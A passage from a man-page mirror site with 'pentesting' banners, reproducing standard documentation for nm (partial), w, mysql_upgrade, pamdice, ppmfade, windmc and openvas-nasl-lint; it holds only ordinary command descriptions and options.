–ifunc-chars=CHARS
When display GNU indirect function symbols nm will default to using the i character for both local indirect functions and global indirect functions. The –ifunc-chars option allows the user to specify a string containing one or two characters. The first character will be used for global indirect function symbols and the second character, if present, will be used for local indirect function symbols.

  1. The same as –format=just-symbols.

-l

–line-numbers

For each symbol, use debugging information to try to find a filename and line number. For a defined symbol, look for the line number of the address of the symbol. For an undefined symbol, look for the line number of a relocation entry which refers to the symbol. If line number information can be found, print it after the other symbol information.

–inlines
When option -l is active, if the address belongs to a function that was inlined, then this option causes the source information for all enclosing scopes back to the first non-inlined function to be printed as well. For example, if main inlines callee1 which inlines callee2, and address is from callee2, the source information for callee1 and main will also be printed.

-n

-v

–numeric-sort

Sort symbols numerically by their addresses, rather than alphabetically by their names.

-p

–no-sort

Do not bother to sort the symbols in any order; print them in the order encountered.

-P

–portability

Use the POSIX.2 standard output format instead of the default format. Equivalent to -f posix.

-r

–reverse-sort

Reverse the order of the sort (whether numeric or alphabetic); let the last come first.

-S

–print-size

Print both value and size of defined symbols for the bsd output style. This option has no effect for object formats that do not record symbol sizes, unless –size-sort is also used in which case a calculated size is displayed.

-s

–print-armap

When listing symbols from archive members, include the index: a mapping (stored in the archive by ar or ranlib) of which modules contain definitions for which names.

-t radix

–radix=radix

Use radix as the radix for printing the symbol values. It must be d for decimal, o for octal, or x for hexadecimal.

-u

–undefined-only

Display only undefined symbols (those external to each object file). By default both defined and undefined symbols are displayed.

-U

–defined-only

Display only defined symbols for each object file. By default both defined and undefined symbols are displayed.

-V

–version

Show the version number of nm and exit.

-X
This option is ignored for compatibility with the AIX version of nm. It takes one parameter which must be the string 32_64. The default mode of AIX nm corresponds to -X 32, which is not supported by GNU nm.

–plugin name
Load the plugin called name to add support for extra target types. This option is only available if the toolchain has been built with plugin support enabled. If –plugin is not provided, but plugin support has been enabled then nm iterates over the files in ${libdir}/bfd-plugins in alphabetic order and the first plugin that claims the object in question is used. Please note that this plugin search directory is not the one used by ld’s -plugin option. In order to make nm use the linker plugin it must be copied into the ${libdir}/bfd-plugins directory. For GCC based compilations the linker plugin is called liblto_plugin.so.0.0.0. For Clang based compilations it is called LLVMgold.so. The GCC plugin is always backwards compatible with earlier versions, so it is sufficient to just copy the newest one.

–size-sort
Sort symbols by size. For ELF objects symbol sizes are read from the ELF, for other object types the symbol sizes are computed as the difference between the value of the symbol and the value of the symbol with the next higher value. If the bsd output format is used the size of the symbol is printed, rather than the value, and -S must be used in order both size and value to be printed. Note - this option does not work if –undefined-only has been enabled as undefined symbols have no size.

–special-syms
Display symbols which have a target-specific special meaning. These symbols are usually used by the target for some special processing and are not normally helpful when included in the normal symbol lists. For example for ARM targets this option would skip the mapping symbols used to mark transitions between ARM code, THUMB code and data.

–synthetic
Include synthetic symbols in the output. These are special symbols created by the linker for various purposes. They are not shown by default since they are not part of the binary’s original source code.

–unicode=[default|invalid|locale|escape|hex|highlight]
Controls the display of UTF-8 encoded multibyte characters in strings. The default (–unicode=default) is to give them no special treatment. The –unicode=locale option displays the sequence in the current locale, which may or may not support them. The options –unicode=hex and –unicode=invalid display them as hex byte sequences enclosed by either angle brackets or curly braces. The –unicode=escape option displays them as escape sequences (\uxxxx) and the –unicode=highlight option displays them as escape sequences highlighted in red (if supported by the output device). The colouring is intended to draw attention to the presence of unicode sequences where they might not be expected.

-W

–no-weak

Do not display weak symbols.

–with-symbol-versions

–without-symbol-versions

Enables or disables the display of symbol version information. The version string is displayed as a suffix to the symbol name, preceded by an @ character. For example foo@VER_1. If the version is the default version to be used when resolving unversioned references to the symbol then it is displayed as a suffix preceded by two @ characters. For example foo@@VER_2. By default, symbol version information is displayed.

–target=bfdname
Specify an object code format other than your system’s default format.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

ar (1), objdump (1), ranlib (1), and the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1799 - Linux cli command w

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command w and provides detailed information about the command w, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the w.

NAME 🖥️ w 🖥️

Show who is logged on and what they are doing.

SYNOPSIS

w [options] [user]

DESCRIPTION

w displays information about the users currently on the machine, and their processes. The header shows, in this order, the current time, how long the system has been running, how many users are currently logged on, and the system load averages for the past 1, 5, and 15 minutes.

The following entries are displayed for each user: login name, the tty name, the remote host, login time, idle time, JCPU, PCPU, and the command line of their current process.

The JCPU time is the time used by all processes attached to the tty. It does not include past background jobs, but does include currently running background jobs.

The PCPU time is the time used by the current process, named in the “what” field.

COMMAND-LINE OPTIONS

-h, –no-header
Don’t print the header.

-u, –no-current
Ignores the username while figuring out the current process and cpu times. To demonstrate this, do a su and do a w and a w -u.

-s, –short
Use the short format. Don’t print the login time, JCPU or PCPU times.

-f, –from
Toggle printing the from (remote hostname) field. The default as released is for the from field to not be printed, although your system administrator or distribution maintainer may have compiled a version in which the from field is shown by default.

–help
Display help text and exit.

-i, –ip-addr
Display IP address instead of hostname for from field.

-p, –pids
Display pid of the login process/the “what” process in the “what” field.

-V, –version
Display version information.

-o, –old-style
Old style output. Prints blank space for idle times less than one minute.

user
Show information about the specified user only.

ENVIRONMENT

PROCPS_USERLEN
Override the default width of the username column. Defaults to 8.

PROCPS_FROMLEN
Override the default width of the from column. Defaults to 16.

FILES

/var/run/utmp
information about who is currently logged on

/proc
process information

SEE ALSO

free(1), ps(1), top(1), uptime(1), utmp(5), who(1)

AUTHORS

w was re-written almost entirely by Charles Blake, based on the version by Larry Greenfield and Michael K. Johnson

REPORTING BUGS

Please send bug reports to

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1800 - Linux cli command mysql_upgrade

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mysql_upgrade and provides detailed information about the command mysql_upgrade, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mysql_upgrade.

NAME 🖥️ mysql_upgrade 🖥️

upgrade - check tables for MariaDB upgrade (mysql_upgrade is now a symlink to mariadb-upgrade)

SYNOPSIS

mysql_upgrade [options]

DESCRIPTION

mysql_upgrade examines all tables in all databases for incompatibilities with the current version of the MariaDB Server. mysql_upgrade also upgrades the system tables so that you can take advantage of new privileges or capabilities that might have been added.

mysql_upgrade should be executed each time you upgrade MariaDB.

If a table is found to have a possible incompatibility, mysql_upgrade performs a table check. If any problems are found, a table repair is attempted.

Note

On Windows Server 2008 and Windows Vista, you must run mysql_upgrade with administrator privileges. You can do this by running a Command Prompt as Administrator and running the command. Failure to do so may result in the upgrade failing to execute correctly.

Caution

You should always back up your current MariaDB installation before performing an upgrade.

To use mysql_upgrade, make sure that the server is running, and then invoke it like this:

shell> mysql_upgrade [options]

After running mysql_upgrade, stop the server and restart it so that any changes made to the system tables take effect.

mysql_upgrade executes the following commands to check and repair tables and to upgrade the system tables:

mysqlcheck –all-databases –check-upgrade –auto-repair mysql < fix_priv_tables mysqlcheck –all-databases –check-upgrade –fix-db-names –fix-table-names

Notes about the preceding commands:

·

Because mysql_upgrade invokes mysqlcheck with the –all-databases option, it processes all tables in all databases, which might take a long time to complete. Each table is locked and therefore unavailable to other sessions while it is being processed. Check and repair operations can be time-consuming, particularly for large tables.

·

For details about what checks the –check-upgrade option entails, see the description of the FOR UPGRADE option of the CHECK TABLE statement.

·

fix_priv_tables represents a script generated internally by mysql_upgrade that contains SQL statements to upgrade the tables in the mysql database.

All checked and repaired tables are marked with the current MariaDB version number. This ensures that next time you run mysql_upgrade with the same version of the server, it can tell whether there is any need to check or repair the table again.

mysql_upgrade also saves the MariaDB version number in a file named mysql_upgrade_info in the data directory. This is used to quickly check whether all tables have been checked for this release so that table-checking can be skipped. To ignore this file and perform the check regardless, use the –force option.

For this reason, mysql_upgrade needs to be run as a user with write access to the data directory.

If you install MariaDB from RPM packages on Linux, you must install the server and client RPMs. mysql_upgrade is included in the server RPM but requires the client RPM because the latter includes mysqlcheck.

mysql_upgrade supports the following options, which can be specified on the command line or in the [mysql_upgrade] and [client] option file groups. Other options are passed to mysqlcheck. For example, it might be necessary to specify the –password[=password] option. mysql_upgrade also supports the options for processing option files.

·

–help, -?

Display a short help message and exit.

·

**–basedir=**path

Old option accepted for backward compatibility but ignored.

·

**–character-sets-dir=**path

Old option accepted for backward compatibility but ignored.

·

–check-if-upgrade-is-needed

Exit with a status code indicating if an upgrade is needed. Returns 0 if upgrade needed or current version couldn’t be determined, 1 when no action required.

·

**–datadir=**path

Old option accepted for backward compatibility but ignored.

·

**–debug=**path, -# path

For debug builds, output debug log.

·

–debug-check

Print some debugging information when the program exits.

·

–debug-info, -T

Print debugging information and memory and CPU usage statistics when the program exits.

·

**–default-character-set=**name

Old option accepted for backward compatibility but ignored.

·

–force

Ignore the mysql_upgrade_info file and force execution of mysqlcheck even if mysql_upgrade has already been executed for the current version of MariaDB.

·

–host

Connect to MariaDB on the given host.

·

–password[=password], -p[password]

The password to use when connecting to the server. If you use the short option form (-p), you cannot have a space between the option and the password. If you omit the password value following the –password or -p option on the command line, mysql_upgrade prompts for one.

Specifying a password on the command line should be considered insecure. You can use an option file to avoid giving the password on the command line.

·

**–port=**port_num, -P port_num

The TCP/IP port number to use for the connection.

·

–protocol={TCP|SOCKET|PIPE|MEMORY}

The connection protocol to use for connecting to the server. It is useful when the other connection parameters normally would cause a protocol to be used other than the one you want.

·

–silent

Print less information.

·

**–socket=**path, -S path

For connections to localhost, the Unix socket file to use, or, on Windows, the name of the named pipe to use.

·

–ssl

Enable SSL for connection (automatically enabled with other flags). Disable with –skip-ssl.

·

**–ssl-ca=**name

CA file in PEM format (check OpenSSL docs, implies –ssl).

·

**–ssl-capath=**name

CA directory (check OpenSSL docs, implies –ssl).

·

**–ssl-cert=**name

X509 cert in PEM format (check OpenSSL docs, implies –ssl).

·

**–ssl-cipher=**name

SSL cipher to use (check OpenSSL docs, implies –ssl).

·

**–ssl-key=**name

X509 key in PEM format (check OpenSSL docs, implies –ssl).

·

**–ssl-crl=**name

Certificate revocation list (check OpenSSL docs, implies –ssl).

·

**–ssl-crlpath=**name

Certificate revocation list path (check OpenSSL docs, implies –ssl).

·

–ssl-verify-server-cert

Verify server’s “Common Name” in its cert against hostname used when connecting. This option is disabled by default.

·

**–tmpdir=**path, -t path

The path name of the directory to use for creating temporary files.

·

–upgrade-system-tables, -s

Only upgrade the system tables in the mysql database. Tables in other databases are not checked or touched.

·

**–user=**user_name, -u user_name

The MariaDB user name to use when connecting to the server and not using the current login.

·

–verbose

Display more output about the process. Using it twice will print connection arguments; using it 3 times will print out all CHECK, RENAME and ALTER TABLE commands used during the check phase; using it 4 times (added in MariaDB 10.0.14) will also write out all mariadb-check commands used; using it 5 times will print all the mariadb commands used and their results while running mysql_fix_privilege_tables script.

·

–version, -V

Output version information and exit.

·

–version-check, -k

Run this program only if its ‘server version’ matches the version of the server to which it’s connecting. Note: the ‘server version’ of the program is the version of the MariaDB server with which it was built/distributed. Defaults to on; use –skip-version-check to disable.

·

–write-binlog

Cause binary logging to be enabled while mysql_upgrade runs.

COPYRIGHT

Copyright 2007-2008 MySQL AB, 2008-2010 Sun Microsystems, Inc., 2010-2020 MariaDB Foundation

This documentation is free software; you can redistribute it and/or modify it only under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License.

This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with the program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA or see http://www.gnu.org/licenses/.

SEE ALSO

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

AUTHOR

MariaDB Foundation (http://www.mariadb.org/).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1801 - Linux cli command pamdice

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamdice and provides detailed information about the command pamdice, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamdice.

.

NAME 🖥️ pamdice 🖥️

slice a Netpbm image into many horizontally and/or vertically

EXAMPLE

    $ pamdice myimage.ppm -outstem=myimage_part -width=10 -height=8
    $ pamundice myimage_part_%1d_%1a.ppm -across=10 -down=8 >myimage.ppm

    $ pamdice myimage.ppm -outstem=myimage_part -height=12 -voverlap=9

SYNOPSIS

pamdice

**-outstem=**filenamestem

[**-width=**width]

[**-height=**height]

[**-hoverlap=**hoverlap]

[**-voverlap=**voverlap]

[-verbose]

[filename]

You can use the minimum unique abbreviation of the options. You can use two hyphens instead of one. You can separate an option name from its value with white space instead of an equals sign.

DESCRIPTION

This program is part of Netpbm(1) .

pamdice reads a PAM, PBM, PGM, or PPM image as input and splits it horizontally and/or vertically into equal size pieces and writes them into separate files as the same kind of image. You can optionally make the pieces overlap.

See the -outstem option for information on naming of the output files.

The -width and -height options determine the size of the output pieces.

pamundice can rejoin the images. For finer control, you can also use pamcat.

One use for this is to make pieces that take less computer resources than the whole image to process. For example, you might have an image so large that an image editor can’t read it all into memory or processes it very slowly. With pamdice, you can split it into smaller pieces, edit one at a time, and then reassemble them.

Another use for this is to print a large image in small printer-sized pieces that you can glue together. ppmglobe does a similar thing; it lets you glue the pieces together into a sphere.

If you want to cut pieces from an image individually, not in a regular grid, use pamcut.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamdice recognizes the following command line options:

**-outstem=filenamestem
This option determines the names of the output files. Each output file is named filenamestem
_y_x.**type where filenamestem is the value of the -outstem option, x and y are the horizontal and vertical locations, respectively, in the input image of the output image, zero being the leftmost and top, and type is .pbm, .pgm, .ppm, or .pam, depending on the type of image.

**-width=**width
gives the width in pixels of the output images. The rightmost pieces are smaller than this if the input image is not a multiple of width pixels wide.

**-height=**height
gives the height in pixels of the output images. The bottom pieces are smaller than this if the input image is not a multiple of height pixels high.

**-hoverlap=**hoverlap
gives the horizontal overlap in pixels between output images. Each image in a row will overlap the previous one by hoverlap pixels. By default, there is no overlap.

This option was new in Netpbm 10.23 (July 2004).

**-voverlap=**voverlap
gives the vertical overlap in pixels between output images. Each row of images will overlap the previous row by voverlap pixels. By default, there is no overlap.

This option was new in Netpbm 10.23 (July 2004).

-verbose
Print information about the processing to Standard Error.

HISTORY

pamdice was new in Netpbm 9.25 (March 2002).

Before Netpbm 10.29 (August 2005), there was a limit of 100 slices in each direction.

SEE ALSO

pamundice(1) , pamcut(1) , pamcat(1) , pgmslice(1) , ppmglobe(1) pnm(1) pam(1)

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamdice.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1802 - Linux cli command ppmfade

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmfade and provides detailed information about the command ppmfade, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmfade.

.

NAME 🖥️ ppmfade 🖥️

generate a transition between two image files using special effects

SYNOPSIS

ppmfade [-f first.ppm] [-l last.ppm] [-mix|-spread|-shift| -relief|-oil|-edge|-bentley|-block] [-base name]

DESCRIPTION

This program is part of Netpbm(1) .

ppmfadegenerates a transition between either two input images or between one input image and black. You can use the 30 intermediate images generated to show a smooth transition between segments of a movie. The input and output images are in the PPM format. If you specify both input images, they should both be the same size. If you want to fade from black to an image, specify only the last image. If you want to fade from an image to black, specify only the first image. ppmfade names the resulting image files base**.nnnn.ppm**, where nnnn is a number varying between 0001 and 0030 and base is what you specify with via the -base option (default fade).

Another way to convert by steps from one image to another is morphing. You can use xmorph to do that.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), ppmfade recognizes the following command line options:

-f first.ppm
This is the image file (PPM format) to be used at the beginning of the transition. If you don’t specify this, the fade will start from black.

-l last.ppm
This is the image file (PPM format) to be used at the ending of the transition. If you don’t specify this, the fade will end with black.

-mix
The two images are superimposed with the brightness of the first image decreasing from full to none and the brightness of the final image increasing from none to full. The transition is quadratic in brightness with faster transition in the beginning and slower at the end.

-spread
The pixels in the first image will be moved (spread) further and further from their original location and then moved into the proper location in the final image. This is the default transition.

-shift
The pixels in the first image will be shifted further and further horizontally from their original location and then moved into the proper location in the final image.

-relief
The first image is faded to a Laplacian relief filtered version of the first image. This is then faded to a Laplacian relief filtered version of the second image and finally faded to the final image.

-oil
The first image is faded to an “oil transfer” version of the first image. This is then faded to an “oil transfer” version of the second image and finally faded to the final image.

-edge
The first image is faded to an edge detected version of the first image. This is then faded to an edge detected version of the second image and finally faded to the final image.

-bentley
The first image is faded to a “Bentley Effect” version of the first image. This is then faded to a “Bentley Effect” version of the second image and finally faded to the final image.

-block
The first image is defocused to small blocks. The small blocks are converted to match a defocused version of the last image. The block version of the last image is then focused to the final image.

-base name
This forms part of the output filenames, as described above.

EXAMPLES

ppmfade -f teapot.ppm -l pyr.ppm

Fade from teapot.ppm to pyr.ppm generating fade.0001.ppm to fade.0030.ppm using the “spread” transition.

ppmfade -l teapot.ppm

Fade from black to teapot.ppm generating fade.0001.ppm to fade.0030.ppm.

ppmfade -f teapot.ppm -base end

Fade from teapot.ppm to black generating end.0001.ppm to end.0030.ppm.

SEE ALSO

tontsc manual, sgifade manual, smart_vfr manual, xmorph manual, ppm(1)

AUTHOR

Bryan Henderson, Olympia WA; April 2000

Inspired by and intended as a replacement for pbmfade (not a Netpbm program) by Wesley C. Barris.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmfade.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1803 - Linux cli command i686-w64-mingw32-windmc

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command i686-w64-mingw32-windmc and provides detailed information about the command i686-w64-mingw32-windmc, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the i686-w64-mingw32-windmc.

NAME 🖥️ i686-w64-mingw32-windmc 🖥️

generates Windows message resources

SYNOPSIS

windmc [options] input-file

DESCRIPTION

windmc reads message definitions from an input file (.mc) and translate them into a set of output files. The output files may be of four kinds:

“h”
A C header file containing the message definitions.

“rc”
A resource file compilable by the windres tool.

“bin”
One or more binary files containing the resource data for a specific message language.

“dbg”
A C include file that maps message id’s to their symbolic name.

The exact description of these different formats is available in documentation from Microsoft.

When windmc converts from the mc format to the bin format, rc, h, and optional dbg it is acting like the Windows Message Compiler.

OPTIONS

-a

–ascii_in

Specifies that the input file specified is ASCII. This is the default behaviour.

-A

–ascii_out

Specifies that messages in the output bin files should be in ASCII format.

-b

–binprefix

Specifies that bin filenames should have to be prefixed by the basename of the source file.

-c

–customflag

Sets the customer bit in all message id’s.

-C codepage

–codepage_in codepage

Sets the default codepage to be used to convert input file to UTF16. The default is ocdepage 1252.

-d

–decimal_values

Outputs the constants in the header file in decimal. Default is using hexadecimal output.

-e ext

–extension ext

The extension for the header file. The default is .h extension.

-F target

–target target

Specify the BFD format to use for a bin file as output. This is a BFD target name; you can use the –help option to see a list of supported targets. Normally windmc will use the default format, which is the first one listed by the –help option.

-h path

–headerdir path

The target directory of the generated header file. The default is the current directory.

-H

–help

Displays a list of command-line options and then exits.

-m characters

–maxlength characters

Instructs windmc to generate a warning if the length of any message exceeds the number specified.

-n

–nullterminate

Terminate message text in bin files by zero. By default they are terminated by CR/LF.

-o

–hresult_use

Not yet implemented. Instructs windmc to generate an OLE2 header file, using HRESULT definitions. Status codes are used if the flag is not specified.

-O codepage

–codepage_out codepage

Sets the default codepage to be used to output text files. The default is ocdepage 1252.

-r path

–rcdir path

The target directory for the generated rc script and the generated bin files that the resource compiler script includes. The default is the current directory.

-u

–unicode_in

Specifies that the input file is UTF16.

-U

–unicode_out

Specifies that messages in the output bin file should be in UTF16 format. This is the default behaviour.

-v

–verbose

Enable verbose mode.

-V

–version

Prints the version number for windmc.

-x path

–xdgb path

The path of the dbg C include file that maps message id’s to the symbolic name. No such file is generated without specifying the switch.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1804 - Linux cli command openvas-nasl-lint

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openvas-nasl-lint and provides detailed information about the command openvas-nasl-lint, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openvas-nasl-lint.

NAME 🖥️ openvas-nasl-lint 🖥️

nasl-lint - OpenVAS standalone NASL linter

SYNOPSIS

openvas-nasl-lint [options]* nasl_file*

DESCRIPTION

OpenVAS is a framework of several services and tools offering a comprehensive and powerful vulnerability scanning and vulnerability management solution.

openvas-nasl-lint is linter targeted at the NASL language.

OPTIONS

These programs follow the usual GNU command line syntax, with long options starting with two dashes (`-’). A summary of options is included below.

-h, –help
Show summary of options

-d, –debug
Output debug log messages

-l, –nvt-list=<file>
Process files from <file>

-i, –include-dir=<dir>
Search for includes in <dir>

SEE ALSO

openvas(8), openvas-nasl(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1805 - Linux cli command ppmtoterm

